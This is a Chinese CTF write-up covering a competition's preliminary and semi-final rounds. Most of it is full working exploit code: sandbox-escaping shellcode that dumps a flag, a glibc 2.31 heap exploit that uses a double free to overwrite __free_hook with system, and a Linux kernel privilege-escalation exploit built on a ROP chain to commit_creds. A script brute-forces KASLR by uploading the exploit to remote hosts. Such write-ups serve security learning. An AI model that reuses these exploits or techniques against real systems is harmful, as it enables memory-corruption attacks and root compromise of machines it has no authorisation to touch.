初赛
初赛名次16名,还算不错
EscapeShellcode
题目将flag内容读到bss段上后就关闭了文件并且进入了沙盒,沙盒中只允许read和write,加载沙盒后就可以执行输入在堆上的shellcode了。
执行shellcode前会将除了rip外的所有寄存器设为0xdeadbeefdeadbeef
,这样我们就不能使用push pop call
等汇编指令。
由于堆地址和bss段地址偏移范围相对固定,我们可以先用lea
指令获取当前堆地址,然后向bss段大致跳转一次,然后输出所在位置的内容,再向前跳转0x1000,如此循环往复,就可以输出bss段上的flag内容
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64')
context.log_level='debug'
_elf='./escape_shellcode'
_libc=''
_addr='47.94.194.27'
_port=43341
local=0
def getConn():
if local==1:
return process(_elf)
else:
return remote(_addr,_port)
def debug(p,cmd=None):
if local==1:
gdb.attach(p,cmd)
pause()
p=getConn()
# pause()
debug(p,'b *$rebase(0x1367)')
shellcode="""
lea rbx, [rip-0xb1]
sub rbx,0x2a0
add rbx,0x120
sub rbx,0x100000
find_flag:
sub rbx,0x1000
print_flag:
mov rdi,1
xor rsi,rsi
add rsi,rbx
mov rdx,0x80
mov rax,1
syscall
jmp find_flag
"""
payload=asm(shellcode)
p.sendline(payload)
p.interactive()
#flag{9436fc2d-a75e-4da5-a4bd-71b6c9f6ef5d}
Bank
题目环境libc-2.31
,可以泄露任意堆上的内容,可以任意free地址,每次可申请0x18大小的堆,可以realloc大小小于0x100的堆。
每次操作需要花费钱,我们初始有0x190的钱,需要存钱后通过转钱来操作堆,不过在存钱取钱的函数中存在逻辑漏洞,可以无限刷钱,这样就可以无限堆操作了。
在2.31环境中,我们可以利用fastbin doublefree&tcache stach
来打free_hook。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64')
#context.log_level='debug'
_elf='./Bank'
_libc='./libc-2.31.so'
_addr='39.107.108.120'
_port=38779
local=0
def getConn():
if local==1:
return process(_elf)
else:
return remote(_addr,_port)
def debug(p,cmd=None):
if local==1:
gdb.attach(p,cmd)
pause()
def cmd(idx):
if idx==0:
p.sendlineafter('Click: ','Quit')
if idx==2:
p.sendlineafter('Click: ','Deposit')
if idx==3:
p.sendlineafter('Click: ','Transfer')
if idx==4:
p.sendlineafter('Click: ','Put')
if idx==5:
p.sendlineafter('Click: ','Login')
if idx==6:
p.sendlineafter('Click: ','Info')
def deposit(num):
cmd(2)
p.sendlineafter('How Much? ',str(num))
def put(num):
cmd(4)
p.sendlineafter('How Much? ',str(num))
def info():
cmd(6)
def login(card,pwd):
cmd(5)
p.sendlineafter('Card Numbers: ',str(card))
p.sendlineafter('Password: ',str(pwd))
def t2admin(num):
cmd(3)
p.sendlineafter('who? ','admin')
p.sendlineafter('How much? ',str(num))
def t2hacker(num,ptr):
cmd(3)
p.sendlineafter('who? ','hacker')
p.sendlineafter('How much? ',str(num))
p.sendlineafter('Great!',str(ptr))
def t2guest(num,data):
cmd(3)
p.sendlineafter('who? ','guest')
p.sendlineafter('How much? ',str(num))
p.sendafter('data: ',data)
def t2ghost(num,size):
cmd(3)
p.sendlineafter('who? ','ghost')
p.sendlineafter('How much? ',str(num))
p.sendlineafter(':)\n',str(size))
def t2abyss(num,data):
cmd(3)
p.sendlineafter('who? ','abyss')
p.sendlineafter('How much? ',str(num))
p.sendline(str(data))
libc=ELF(_libc)
p=getConn()
login(1111111111,111111)
put(0x190)
for i in range(0x10):
deposit(0x190)
for i in range(0x10):
put(0x190)
for i in range(0x10):
t2guest(6,'a'*0x10)
t2ghost(0xa+1,0x20)
for i in range(0x20):
t2guest(6,'b'*0x10)
t2ghost(0xa+1,0x30)
t2admin(0x4a-5)
p.recvuntil('I think ')
heap_addr=int(p.recv(14),16)
log.info(hex(heap_addr))
for i in range(7):
t2hacker(0x33,heap_addr+0x2b0+0x20*i)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)
t2hacker(0x33,heap_addr+0x2b0+0x20*8)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)
for i in range(0x7):
t2guest(6,'c'*0x10)
t2guest(6,p64(heap_addr+0x2b0+0x20*9-0x10))
t2guest(6,'c'*0x10)
t2guest(6,'c'*0x10)
t2guest(6,p64(0)+p64(0x431))
t2hacker(0x33, heap_addr+0x3d0)
t2admin(0x140/8)
p.recvuntil('I think ')
libc_base=int(p.recv(14),16)-libc.sym['__malloc_hook']-0x10-96
log.info(hex(libc_base))
t2guest(6,'/bin/sh\x00')
for i in range(7):
t2hacker(0x33,heap_addr+0x2b0+0x20*i)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)
t2hacker(0x33,heap_addr+0x2b0+0x20*8)
t2hacker(0x33,heap_addr+0x2b0+0x20*7)
for i in range(0x7):
t2guest(6,'d'*0x10)
t2guest(6,p64(libc_base+libc.sym['__free_hook']))
t2guest(6,'d'*0x10)
t2guest(6,'d'*0x10)
t2guest(6,p64(libc_base+libc.sym['system']))
t2hacker(0x33,heap_addr+0x3d0)
p.interactive()
#flag{5ca01d35-f295-4813-9244-8588cb3c65bd}
半决赛
半决赛就一道kernel pwn
,很快找到了原题为2021西湖论剑线上初赛easykernel ,与原题的不同点在于没有读取功能,不能读到偏移,我们可以爆破kaslr
,也可以使用官方题解中的方式泄露。
比赛时倒是爆破出了一次,只不过当时忘了设置爆破成功后直接输出flag,导致120s后容器重启了,悲😭。
后来本地爆破了大概一个小时,271次出了。。。
Smurf
#include <fcntl.h>
#include <stddef.h>
#include <stdlib.h>
#define COMMIT_CREDS 0xffffffff810c9540
#define INIT_CRED 0xffffffff82a6b700
#define POP_RDI_RET 0xffffffff8108c420
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00fb0
long dev_fd;
struct op_chunk
{
size_t idx;
size_t size;
void *buf;
};
struct alloc_chunk
{
size_t size;
void *buf;
};
void writeChunk(size_t idx, size_t size, void *buf)
{
struct op_chunk op =
{
.idx = idx,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0x50, &op);
}
void deleteChunk(size_t idx)
{
struct op_chunk op =
{
.idx = idx,
};
ioctl(dev_fd, 0x30, &op);
}
void allocChunk(size_t size, void *buf)
{
struct alloc_chunk alloc =
{
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0x20, &alloc);
}
size_t buf[0x100];
size_t swapgs_restore_regs_and_return_to_usermode;
size_t init_cred;
size_t pop_rdi_ret;
long seq_fd;
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds;
size_t gadget;
int main(int argc, char ** argv, char ** envp)
{
dev_fd = open("/dev/kernelpwn", O_RDWR);
allocChunk(0x20, buf);
deleteChunk(0);
seq_fd = open("/proc/self/stat", O_RDONLY);
kernel_offset = (argv[1]) ? atoi(argv[1]) : 0;
kernel_base += kernel_offset;
swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
init_cred = INIT_CRED + kernel_offset;
pop_rdi_ret = POP_RDI_RET + kernel_offset;
commit_creds = COMMIT_CREDS + kernel_offset;
gadget = 0xffffffff81499087 + kernel_offset;
buf[0] = gadget;
swapgs_restore_regs_and_return_to_usermode += 9;
writeChunk(0, 0x8, buf);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, pop_rdi_ret;"
"mov r13, init_cred;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, swapgs_restore_regs_and_return_to_usermode;"
"mov rbx, 0x999999999;"
"mov r11, 0x114514;"
"mov r10, 0x666666666;"
"mov r9, 0x1919114514;"
"mov r8, 0xabcd1919810;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
system("/bin/sh");
return 0;
}
爆破脚本
from pwn import *
import base64
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
try_count = 1
while True:
log.info("no." + str(try_count) + " time(s)")
p = remote("39.107.137.85", 15708)
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
# log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
randomization = (try_count % 1024) * 0x100000
log.info('trying randomization: ' + hex(randomization))
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit "+str(randomization))
if not p.recvuntil(b"Rebooting in 1 seconds..", timeout=20):
break
log.warn('failed!')
try_count += 1
p.close()
context.log_level = "debug"
p.sendline("cat flag")
p.interactive()